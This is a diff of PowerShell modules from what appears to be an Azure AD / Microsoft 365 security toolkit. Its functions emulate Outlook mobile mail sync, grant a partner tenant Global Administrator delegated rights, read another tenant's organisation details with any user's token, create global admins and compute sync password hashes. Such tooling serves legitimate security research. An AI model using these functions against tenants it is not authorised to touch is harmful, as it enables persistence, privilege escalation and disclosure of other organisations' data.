$response=Invoke-RestMethod -UseBasicParsing -Uri "https://outlook.office365.com/outlookservice/ishxscapable" -Headers $headers
# Return
$response
}
}
# Gets the settings for Exchange Active Sync (Outlook mobile)
function Get-EASSettings
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
$headers = @{
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"Accept"="application/json"
}
$response=Invoke-RestMethod -UseBasicParsing -Uri "https://outlook.office365.com/outlookservice/ishxscapable" -Headers $headers
# Return
$response
}
}
# Gets the sync status for Exchange Active Sync (Outlook mobile)
function Get-EASSyncStatus
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$AnchorMailBox,
[Parameter(Mandatory=$True)]
[byte[]]$OutlookFrame
)
Process
{
$headers = @{
"Authorization" = Create-AuthorizationHeader -Credentials $Credentials -AccessToken $AccessToken -Resource "https://outlook.office365.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
"Accept"="application/http.wbxml"
"X-AnchorMailbox" = $AnchorMailBox
"Content-Type" = "application/http.wbxml"
"X-OSApi-Protocol" = "HttpSockets:1.1"
#"X-CommandId" = "6" # 6
"User-Agent" = "Outlook-Android/2.0"
"connect" = "GET"
}
$response=Invoke-WebRequest -UseBasicParsing "https://outlook.office365.com/outlookservice/servicechannel.hxs" -Headers $headers -Body $OutlookFrame -Method Post -TimeOutSec 300
$responseBytes = [byte[]]$response.Content
[xml]$responseXml = O365WBXML2XML -wbxml $responseBytes
# Return
$responseXml.InnerXml
}
}
function Get-EASMails
{
Param(
[Parameter(Mandatory=$False)]
[System.Management.Automation.PSCredential]$Credentials,
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[guid]$DeviceId,
[Parameter(Mandatory=$False)]
[String]$DeviceType="Android",
[Parameter(Mandatory=$False)]
[String]$OSVersion="5.0.2",
[Parameter(Mandatory=$False)]
[String]$ClientVersion="4.0.90 (379) prod",
[Parameter(Mandatory=$False)]
[String]$OutlookVersion="16.0.12317.33832",
[Parameter(Mandatory=$False)]
[String]$OutlookTitle="Outlook for iOS and Android"
)
Process
{
$settings = Get-EASSettings -Credentials $Credentials -AccessToken $AccessToken
$anchorMailBox = $settings.AnchorMailBox
$request=@"
<frames>
<frame>
<block>
<_FF_05 xmlns="_FF">
<_FF_07 xmlns="_FF">
<EXT_2>01</EXT_2>
</_FF_07>
<_FF_06 xmlns="_FF">
<EXT_2>01</EXT_2>
</_FF_06>
<_FF_08 xmlns="_FF">sync</_FF_08>
<_FF_09 xmlns="_FF">$((New-Guid).ToString())</_FF_09>
<_FF_0D xmlns="_FF">
<EXT_2>04</EXT_2>
</_FF_0D>
<_FF_0E xmlns="_FF">
<EXT_2>0B</EXT_2>
</_FF_0E>
<_FF_0F xmlns="_FF">
<EXT_2>1C03</EXT_2>
</_FF_0F>
<_FF_19 xmlns="_FF">$($DeviceId.ToString())</_FF_19>
<_FF_16 xmlns="_FF"/>
<_FF_2B xmlns="_FF">$ClientVersion</_FF_2B>
<_FF_18 xmlns="_FF">$OutlookVersion</_FF_18>
<_FF_1A xmlns="_FF">$OSVersion</_FF_1A>
<_FF_1B xmlns="_FF">$DeviceType</_FF_1B>
<_FF_1F xmlns="_FF"/>
<_FF_2A xmlns="_FF"/>
<_FF_20 xmlns="_FF">
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>01</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">$((New-Guid).ToString())</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>02</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>03</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">0</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>04</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>06</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>08</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>0B</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>09</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>0E</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>07</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">2</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>0A</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
<_FF_21 xmlns="_FF">
<_FF_22 xmlns="_FF">
<EXT_2>0F</EXT_2>
</_FF_22>
<_FF_23 xmlns="_FF">true</_FF_23>
</_FF_21>
</_FF_20>
<_FF_26 xmlns="_FF">
<EXT_2>02</EXT_2>
</_FF_26>
<_FF_25 xmlns="_FF">
<EXT_2>00</EXT_2>
</_FF_25>
</_FF_05>
</block>
<block>
<_E0_3B xmlns="_E0">
<_E0_3C xmlns="_E0">$OutlookVersion</_E0_3C>
<_E0_3D xmlns="_E0"/>
<_E1_1B xmlns="_E1"/>
<_E1_1C xmlns="_E1"/>
<_E1_1D xmlns="_E1">$OutlookTitle</_E1_1D>
<_E1_1E xmlns="_E1"/>
<_E1_1F xmlns="_E1"/>
<_E0_3E xmlns="_E0">
<EXT_2>01</EXT_2>
</_E0_3E>
<_10_11 xmlns="_10">
<EXT_2>01</EXT_2>
</_10_11>
<_1B_22 xmlns="_1B">
<EXT_2>01</EXT_2>
</_1B_22>
</_E0_3B>
</block>
</frame>
</frames>
"@
$response=Get-EASSyncStatus -Credentials $Credentials -AccessToken $AccessToken -AnchorMailBox $anchorMailBox -OutlookFrame ([byte[]](XML2O365WBXML -xml $request))
$response
}
}
+2164
View File
File diff suppressed because it is too large Load Diff
+335
View File
@@ -0,0 +1,335 @@
# This file contains functions utilising https://admin.microsoft.com API
# Approves the delegated admin request
# Sep 22nd 2021
function Approve-MSPartnerDelegatedAdminRequest
{
<#
.SYNOPSIS
Assigns Delegated Admin Permissions (DAP) for the given partner organisation.
.DESCRIPTION
Assigns Delegated Admin Permissions (DAP) for the given partner organisation.
.Parameter TenantId
TenantId of the partner organisation.
.Parameter Domain
Any registered domain of the partner organisation.
.Example
PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache
PS C:\>Approve-AADIntMSPartnerDelegatedAdminRequest -Domain company.com
responseCode message
------------ -------
success
.Example
PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache
PS C:\>Approve-AADIntMSPartnerDelegatedAdminRequest -TenantId c7e52a77-e461-4f2e-a652-573305414be9
responseCode message
------------ -------
success
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='TenantId',Mandatory=$True)]
[guid]$TenantId,
[Parameter(ParameterSetName='Domain',Mandatory=$True)]
[String]$Domain,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
if($Domain)
{
$TenantId = Get-TenantID -Domain $Domain
}
$body = @{
"authorizeDelegateAdminData" = [ordered]@{
"msppId" = 0
"partnerId" = $TenantId
"companyName" = " "
"indirectCSPId" = ""
"userTenantId" = (Read-Accesstoken $AccessToken).tid
"enableDap" = $true
"invitationType" = "Administration"
"address" = $null
"roles" = @(
"62e90394-69f5-4237-9190-012177145e10" # Global Administrator
"729827e3-9c14-49f7-bb1b-9608f156bbb8" # Helpdesk Administrator
)
"userPrincipalName" = $null
}
}
try
{
$response = Invoke-AdminAPI -Method Post -AccessToken $AccessToken -Url "fd/commerceMgmt/partnermanage/partners/csp/delegatedaccess?api-version=2.1" -Body ($body | ConvertTo-Json)
}
catch
{
Write-Error ($_.ErrorDetails.Message | ConvertFrom-Json).error.message
return
}
$response
}
}
# Gets the list of partners
# Dec 9th 2021
function Get-MSPartners
{
<#
.SYNOPSIS
Shows organisation's partners.
.DESCRIPTION
Shows organisation's partners using Admin API.
.Parameter AccessToken
Access token to retrieve partners.
.Example
PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache
PS C:\>Get-AADIntMSPartners
Identity : b1f6d5cc-f1d3-41d9-b88c-1d177aaf171b
DisplayName : Partner Ltd
Email : pmanager@company.com
Website : http://www.company.com
Phone : +1234567890
Relationship : Indirect Reseller and Admin
TypeDetail : PartnerAdmin
CanDelete : False
CanRemoveDap : True
AllDataRetrieved : True
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
try
{
$response = Invoke-AdminAPI -AccessToken $AccessToken -Url "admin/api/Partners/GetPartners" -Method Post
}
catch
{
if($_.ErrorDetails.Message)
{
throw $_.ErrorDetails.Message
}
else
{
throw $_.Exception.Message
}
return
}
$response
}
}
# Returns access token for the requested resource
# Dec 9th 2021
function Get-AccessTokenUsingAdminAPI
{
<#
.SYNOPSIS
Gets access token for the requested resource using Admin API.
.DESCRIPTION
Gets access token for the requested resource using Admin API.
.Parameter Access
Some supported type of access token.
.Parameter TokenType
The type of the access token to return
.Example
PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache
PS C:\>$at = Get-AADIntAccessTokenUsingAdminAPI -TokenType PortalAT
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[ValidateSet('PortalAT','BusinessStoreAT')]
[String]$TokenType="PortalAT",
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
[Microsoft.PowerShell.Commands.WebRequestSession]$WebSession
)
Process
{
Invoke-AdminAPI -AccessToken $AccessToken -Url "admin/api/users/getuseraccesstoken?tokenType=$TokenType" -Method Get -WebSession $WebSession
}
}
# Approves the delegated admin request
# Dec 11th 2021
function Remove-MSPartnerDelegatedAdminRoles
{
<#
.SYNOPSIS
Removes Delegated Admin Permissions (DAP) from the given partner organisation.
.DESCRIPTION
Removes Delegated Admin Permissions (DAP) from the given partner organisation.
.Parameter TenantId
TenantId of the partner organisation.
.Parameter Domain
Any registered domain of the partner organisation.
.Example
PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache
PS C:\>Remove-AADIntMSPartnerDelegatedAdminRoles -Domain company.com
responseCode message
------------ -------
success
.Example
PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache
PS C:\>Remove-AADIntMSPartnerDelegatedAdminRoles -TenantId c7e52a77-e461-4f2e-a652-573305414be9
responseCode message
------------ -------
success
#>
[cmdletbinding()]
Param(
[Parameter(ParameterSetName='TenantId',Mandatory=$True)]
[guid]$TenantId,
[Parameter(ParameterSetName='Domain',Mandatory=$True)]
[String]$Domain,
[Parameter(Mandatory=$False)]
[String]$AccessToken
)
Process
{
if($Domain)
{
$TenantId = Get-TenantID -Domain $Domain
}
try
{
$response = Invoke-AdminAPI -Method Delete -AccessToken $AccessToken -Url "fd/commerceMgmt/partnermanage/partners/csp/$TenantId/delegatedaccess?api-version=2.1"
}
catch
{
Write-Error ($_.ErrorDetails.Message | ConvertFrom-Json).error.message
return
}
$response
}
}
# Returns tenant organisation information
# Jan 26th 2022
function Get-TenantOrganisationInformation
{
<#
.SYNOPSIS
Returns organisation information for the given tenant.
.DESCRIPTION
Returns organisation information for the given tenant using commercial API used to get Partner Tenant information.
.Parameter AccessToken
Access Token used to fetch information. Can be any standard user of any tenant.
.Parameter TenantId
TenantId of the target tenant.
.Parameter Domain
Domain name of the target tenant.
.Example
PS C:\>Get-AADIntAccessTokenForAdmin -SaveToCache
PS C:\>Get-AADIntTenantOrganisationInformation -Domain "company.com"
TenantId : 043050e2-7993-416a-ae66-108ab1951612
CompanyName : Company Ltd
StreetAddress : 10 Wall Street
ApartmentOrSuite : 666
City : New York
StateOrProvince : NY
PostalCode : 10005
CountryCode : US
PhoneNumber : 1234567890
FirstName : John
LastName : Doe
#>
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(ParameterSetName='Domain',Mandatory=$True)]
[String]$Domain,
[Parameter(ParameterSetName='TenantId',Mandatory=$True)]
[guid]$TenantId
)
Process
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://admin.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
if($Domain)
{
[guid]$TenantId = [guid](Get-TenantID -Domain $Domain)
}
if($TenantId -eq ([guid](Read-AccessToken $AccessToken).tid))
{
Write-Error "Can't query information from your own tenant. Log in to another tenant and try again."
return
}
$headers = @{
"Authorization" = "Bearer $AccessToken"
"Accept" = "application/json; charset=utf-8"
}
$response = Invoke-WebRequest -UseBasicParsing -uri "https://admin.microsoft.com/fd/commerceMgmt/partnermanage/partners/csp/$($TenantId.toString())/delegatedaccess?invType=Administration&api-version=2.1" -Headers $headers
# Content is utf-8 encoded json, but response headers don't have encoding information
$responseBytes = New-Object byte[] $response.RawContentLength
$response.RawContentStream.Read($responseBytes,0,$response.RawContentLength)
$responseObj = ConvertFrom-Json -InputObject ([text.encoding]::UTF8.GetString($responseBytes))
$tenantInfo = $responseObj.authorizeDelegateAdminData
$attributes = [ordered]@{
"TenantId" = $tenantInfo.partnerId
"CompanyName" = $tenantInfo.companyName
"StreetAddress" = $tenantInfo.address.line1
"ApartmentOrSuite" = $tenantInfo.address.line2
#"Line3" = $tenantInfo.address.line3
"City" = $tenantInfo.address.city
"StateOrProvince" = $tenantInfo.address.state
"PostalCode" = $tenantInfo.address.postalCode
"CountryCode" = $tenantInfo.address.countryCode
"PhoneNumber" = $tenantInfo.address.phoneNumber
"FirstName" = $tenantInfo.address.firstName
"LastName" = $tenantInfo.address.lastName
}
New-Object psobject -Property $attributes
}
}
+46
View File
@@ -0,0 +1,46 @@
# This file contains utility functions for Admin operations.
# Invoke Admin API
# Dec 11th 2021
function Invoke-AdminAPI
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$False)]
[String]$AccessToken,
[Parameter(Mandatory=$False)]
$Body,
[Parameter(Mandatory=$True)]
[String]$Url,
[Parameter(Mandatory=$True)]
[ValidateSet('Get','Post','Patch','Put','Delete')]
[String]$Method,
[Parameter(Mandatory=$False)]
[Microsoft.PowerShell.Commands.WebRequestSession]$WebSession
)
Process
{
$headers=@{}
# If we got WebSession, no need for Access Token
if($WebSession -eq $null)
{
# Get from cache if not provided
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "https://admin.microsoft.com" -ClientId "d3590ed6-52b3-4102-aeff-aad2292ab01c"
# Set the headers
$headers["Authorization"] = "Bearer $AccessToken"
# Create a new web session
$WebSession = New-Object Microsoft.PowerShell.Commands.WebRequestSession
}
# Set cookie maximun size the returned cookies exceeds the normal maximum size 4096
$WebSession.Cookies.MaxCookieSize=65536
# Invoke the command
$response = Invoke-RestMethod -UseBasicParsing -Method $Method -Uri "https://admin.microsoft.com/$Url" -Headers $headers -Body $body -WebSession $WebSession
$response
}
}
File diff suppressed because it is too large Load Diff
+336
View File
@@ -0,0 +1,336 @@
# Initial AADSync server name
$aadsync_server= "adminwebservice.microsoftonline.com"
$aadsync_client_version="8.0"
$aadsync_client_build= "1.5.29.0"
# Checks whether the response has redirect
function IsRedirectResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[xml]$xml_doc
)
Process
{
try
{
$url=$xml_doc.Envelope.Body.Fault.Detail.BindingRedirectionFault.Url
if([string]::IsNullOrEmpty($url))
{
$message=$xml_doc.Envelope.Body.Fault.Reason.Text.'#text'
if(![string]::IsNullOrEmpty($url))
{
$Script:aadsync_server=$url.Split('/')[2]
Write-Verbose "ISREDIRECTRESPONSE: Changed server to $Script:aadsync_server"
return $True
}
}
else
{
$Script:aadsync_server=$url.Split('/')[2]
Write-Verbose "ISREDIRECTRESPONSE: Changed server to $Script:aadsync_server"
return $True
}
return IsErrorResponse($xml_doc)
}
catch
{
throw $_
}
}
}
# Checks whether the response has redirect
function IsErrorResponse
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[xml]$xml_doc
)
Process
{
$error=Select-Xml -Xml $xml_doc -XPath "//*[local-name()='ErrorDescription']"
if([string]::IsNullOrEmpty($error))
{
# All good
return $False
}
else
{
# Got error, so throw an exception
throw $error.Node.'#text'
}
}
}
# Create SOAP envelope for ADSync
function Create-SyncEnvelope
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$AccessToken,
[Parameter(Mandatory=$True)]
[String]$Command,
[Parameter(Mandatory=$True)]
[String]$Body,
[Parameter(Mandatory=$True)]
[String]$Message_id,
[Parameter()]
[String]$Server="adminwebservice.microsoftonline.com",
[Parameter()]
[switch]$Binary,
[Parameter()]
[bool]$IsInstalledOnDc=$False,
[Parameter()]
[bool]$RichCoexistenceEnabled=$False,
[Parameter()]
[int]$Version=1
)
Process
{
# Set the client ID
if($Version -eq 2)
{
$applicationClient= "6eb59a73-39b2-4c23-a70f-e2e3ce8965b1"
}
else
{
$applicationClient = "1651564e-7ce4-4d99-88be-0a65050d8dc3"
}
# Create the envelope
$envelope=@"
<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
<s:Header>
<a:Action s:mustUnderstand="1">http://schemas.microsoft.com/online/aws/change/2010/01/IProvisioningWebService/$Command</a:Action>
<SyncToken s:role="urn:microsoft.online.administrativeservice" xmlns="urn:microsoft.online.administrativeservice" xmlns:i="http://www.w3.org/2001/XMLSchema-instance">
<ApplicationId xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$applicationClient</ApplicationId>
<BearerToken xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$AccessToken</BearerToken>
<ClientVersion xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$aadsync_client_version</ClientVersion>
<DirSyncBuildNumber xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$aadsync_client_build</DirSyncBuildNumber>
<FIMBuildNumber xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$aadsync_client_build</FIMBuildNumber>
<IsInstalledOnDC xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$IsInstalledOnDc</IsInstalledOnDC>
<IssueDateTime xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">0001-01-01T00:00:00</IssueDateTime>
<LanguageId xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">en-US</LanguageId>
<LiveToken xmlns="http://schemas.microsoft.com/online/aws/change/2010/01"/>
<ProtocolVersion xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">2.0</ProtocolVersion>
<RichCoexistenceEnabled xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$RichCoexistenceEnabled</RichCoexistenceEnabled>
<TrackingId xmlns="http://schemas.microsoft.com/online/aws/change/2010/01">$Message_id</TrackingId>
</SyncToken>
<a:MessageID>urn:uuid:$message_id</a:MessageID>
<a:ReplyTo>
<a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
</a:ReplyTo>
<a:To s:mustUnderstand="1">https://$Server/provisioningservice.svc</a:To>
</s:Header>
<s:Body>
$Body
</s:Body>
</s:Envelope>
"@
# Debug
Write-Debug "ENVELOPE ($Command): $envelope"
# Return the envelope as binary if requested
if($Binary)
{
return XmlToBinary $envelope -Dictionary (Get-XmlDictionary -Type WCF)
}
else
{
$envelope
}
}
}
# Calls the ADSync SOAP API
function Call-ADSyncAPI
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[byte[]]$Envelope,
[Parameter(Mandatory=$True)]
[string]$Command,
[Parameter(Mandatory=$True)]
[string]$Tenant_id,
[Parameter(Mandatory=$True)]
[string]$Message_id,
[Parameter(Mandatory=$False)]
[string]$Server="adminwebservice.microsoftonline.com"
)
Process
{
$headers=@{
"Host" = $Server
"x-ms-aadmsods-appid"= "1651564e-7ce4-4d99-88be-0a65050d8dc3"
"x-ms-aadmsods-apiaction"= $Command
"client-request-id"= $Message_id
"x-ms-aadmsods-clientversion"= $aadsync_client_version
"x-ms-aadmsods-dirsyncbuildnumber"=$aadsync_client_build
"x-ms-aadmsods-fimbuildnumber"= $aadsync_client_build
"x-ms-aadmsods-tenantid"= $Tenant_id
"User-Agent"=""
}
# Verbose
Write-Debug "CALL-ADSYNCAPI HEADERS: $($headers | Out-String)"
$stream=$null
# Call the API
try
{
# Sometimes no error at all..?
$response=Invoke-WebRequest -UseBasicParsing -Uri "https://$Server/provisioningservice.svc" -ContentType "application/soap+msbin1" -Method POST -Body $envelope -Headers $headers
$stream=$response.RawContentStream
}
catch
{
# Should give error 500
$Exception = $_.Exception
if($Exception.Message -like "*500*")
{
$stream=$Exception.Response.GetResponseStream()
}
else
{
Throw $Exception
}
}
$bytes=$stream.toArray()
$bytes
}
}
# Utility function for Provision-AzureADSyncObject to add property value
function Add-PropertyValue
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
[String]$Key,
[Parameter(Mandatory=$False)]
[PSobject]$Value,
[ValidateSet('string','bool','base64','long','ArrayOfstring','ArrayOfbase64')]
[String]$Type="string"
)
Process
{
if(![string]::IsNullOrEmpty($Value))
{
$PropBlock="<c:KeyValueOfstringanyType><c:Key>$Key</c:Key>"
switch($Type)
{
'long' { $PropBlock += "<c:Value i:type=""d:long"" xmlns:d=""http://www.w3.org/2001/XMLSchema"">$Value</c:Value>" }
'bool' { $PropBlock += "<c:Value i:type=""d:boolean"" xmlns:d=""http://www.w3.org/2001/XMLSchema"">$($Value.toString().toLower())</c:Value>" }
'base64'{ $PropBlock += "<c:Value i:type=""d:base64Binary"" xmlns:d=""http://www.w3.org/2001/XMLSchema"">$Value</c:Value>" }
'ArrayOfstring'{
$PropBlock += "<c:Value i:type=""c:ArrayOfstring"">"
foreach($stringValue in $Value)
{
$PropBlock += "<c:string>$stringValue</c:string>"
}
$PropBlock += "</c:Value>"
}
'ArrayOfbase64'{
$PropBlock += "<c:Value i:type=""c:ArrayOfbase64Binary"">"
foreach($stringValue in $Value)
{
$PropBlock += "<c:base64Binary>$stringValue</c:base64Binary>"
}
$PropBlock += "</c:Value>"
}
default { $PropBlock += "<c:Value i:type=""d:string"" xmlns:d=""http://www.w3.org/2001/XMLSchema"">$Value</c:Value>" }
}
$PropBlock+="</c:KeyValueOfstringanyType>"
return $PropBlock
}
}
}
# Creates a AADHash for given password
Function Create-AADHash {
[cmdletbinding()]
param(
[parameter(Mandatory=$false)]
[String]$Password,
[parameter(Mandatory=$false)]
[String]$Hash,
[parameter(Mandatory=$false)]
[int]$Iterations=1000
)
Process
{
if([string]::IsNullOrEmpty($Hash))
{
# Calculate MD4 from the password (Unicode)
$md4 = (Get-MD4 -bArray ([System.Text.UnicodeEncoding]::Unicode.GetBytes($password))).ToUpper()
}
elseif($Hash.Length -ne 32)
{
Throw "Invalid hash length!"
}
else
{
$md4=$Hash
}
$md4bytes = ([System.Text.UnicodeEncoding]::Unicode.GetBytes($md4))
# Generate random 10-byte salt
$salt=@()
for($count = 0; $count -lt 10 ; $count++)
{
$salt += Get-Random -Minimum 0 -Maximum 0xFF
}
# Calculate hash using 1000 iterations and SHA256
$pbkdf2 = New-Object System.Security.Cryptography.Rfc2898DeriveBytes($md4bytes,[byte[]]$salt,$Iterations,"SHA256")
$bytes = $pbkdf2.GetBytes(32)
# Convert to hex strings
$hexbytes=Convert-ByteArrayToHex $bytes
$hexsalt=Convert-ByteArrayToHex $salt
# Create the return value
$retVal = "v1;PPH1_MD4,$hexsalt,$Iterations,$hexbytes;"
# Verbose
Write-Debug $retVal
# Return
return $retVal
}
}
File diff suppressed because it is too large Load Diff
+701
View File
@@ -0,0 +1,701 @@
# Get users using Azure Management API
# Oct 23rd 2018
function Get-AzureManagementUsers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken
)
Process
{
$response=Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Users?searchText=&top=100&nextLink=&orderByThumbnails=false&maxThumbnailCount=999&filterValue=All&state=All&adminUnit="
return $response.items
}
}
# Creates an user using Azure Management API
# Oct 23rd 2018
function New-AzureManagementUser
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$True)]
[string]$UserPrincipalnName,
[Parameter(Mandatory=$True)]
[string]$DisplayName,
[Parameter(Mandatory=$True)]
[string]$Password,
[switch]$GlobalAdmin
)
Process
{
$pwdProfile=@{
"forceChangePasswordNextLogin"="False"
"password"=$Password
}
$rolesEntity=""
if($GlobalAdmin)
{
$rolesEntity=@{
"adminType"="3" # Global Admin
"enabledRoles"=""
}
}
$Body=@{
"displayName" = $DisplayName
"userPrincipalName" = $UserPrincipalnName
"passwordProfile" = $pwdProfile
"rolesEntity" = $rolesEntity
}
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "UserDetails" -Body $Body -Method "Post"
}
}
# Removes the given user using Azure Management API
# Oct 23rd 2018
function Remove-AzureManagementUser
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$True)]
[string]$ObjectId
)
Process
{
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Users/$ObjectId" -Method Delete
}
}
# Removes the given users using Azure Management API
# Oct 23rd 2018
function Remove-AzureManagementUsers
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$True)]
[string[]]$ObjectIds
)
Process
{
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Users" -Method Delete -Body $ObjectIds
}
}
# Checks whether the external user is unique or already exists in AAD
# Oct 23rd 2018
function Is-ExternalUserUnique
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$True)]
[string]$EmailAddress
)
Process
{
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Users/IsUPNUniqueOrPending/$EmailAddress"
}
}
# Invites an external user to AAD
# Oct 23rd 2018
function New-GuestInvitation
{
<#
.SYNOPSIS
Invites an user to AAD
.DESCRIPTION
Invites an user to AAD using Azure Management API
.Parameter AccessToken
Auth Token
.Parameter EmailAddress
Email address of the guest user
.Parameter Message
The message to be sent with the invitation
.Example
PS C:\>$cred=Get-Credential
PS C:\>Get-AADIntAccessTokenForAADIAMAPI -Credentials $cred
PS C:\>New-AADIntGuestInvitation -EmailAddress someone@company.com -Message "Welcome to our Tenant!"
accountEnabled : True
usageLocation :
mailNickname : someone_company.com#EXT#
passwordProfile :
rolesEntity :
selectedGroupIds :
streetAddress :
city :
state :
country :
telephoneNumber :
mobile :
physicalDeliveryOfficeName :
postalCode :
authenticationPhoneNumber :
authenticationAlternativePhoneNumber :
authenticationEmail :
strongAuthenticationDetail : @{verificationDetail=}
defaultImageUrl :
ageGroup :
consentProvidedForMinor :
legalAgeGroupClassification :
objectId : e550c8f5-aff3-4eea-9d68-cff019fa850e
objectType : User
displayName : someone
userPrincipalName : someone_company.com#EXT#@company.onmicrosoft.com
thumbnailPhoto@odata.mediaContentType :
givenName :
surname :
mail : someone@company.com
dirSyncEnabled :
alternativeSecurityIds : {}
signInNamesInfo : {}
signInNames : {someone_company.com#EXT#@company.onmicrosoft.com}
ownedDevices :
jobTitle :
department :
displayUserPrincipalName :
hasThumbnail : False
imageUrl :
imageDataToUpload :
source :
sources :
sourceText :
userFlags :
deletionTimestamp :
permanentDeletionTime :
alternateEmailAddress :
manager :
userType : Guest
isThumbnailUpdated :
isAuthenticationContactInfoUpdated :
searchableDeviceKey : {}
displayEmail :
creationType : Invitation
userState : PendingAcceptance
otherMails : {someone@company.com}
#>
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$True)]
[string]$EmailAddress,
[Parameter(Mandatory=$False)]
[string]$Message
)
Process
{
$UserToInvite = @{
"displayName"=$EmailAddress
"userPrincipalName" = $EmailAddress
"givenName" = "null"
"surname" = "null"
"jobTitle" = "null"
"department" = "null"
"passwordProfile" = ""
"selectedGroupIds" = ""
"rolesEntity" = ""
}
$Body=@{
"userToInvite"=$UserToInvite
"inviteMessage"=$Message
}
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Users/Invite" -Method "Put" -Body $Body
}
}
# Sets the user as Global Admin
# Oct 23rd 2018
function Set-AzureManagementAdminRole
{
[cmdletbinding()]
Param(
[Parameter(Mandatory=$True)]
$AccessToken,
[Parameter(Mandatory=$True)]
[string]$ObjectId
)
Process
{
$Role=@{
"62e90394-69f5-4237-9190-012177145e10" = "25b21f4a-977e-49f2-9de4-2c885f30be5d"
}
return Call-AzureAADIAMAPI -AccessToken $AccessToken -Command "Roles/User/$ObjectId" -Method "Put" -Body $Role
}
}
# Gets azure activity log
# Oct 23rd 2018
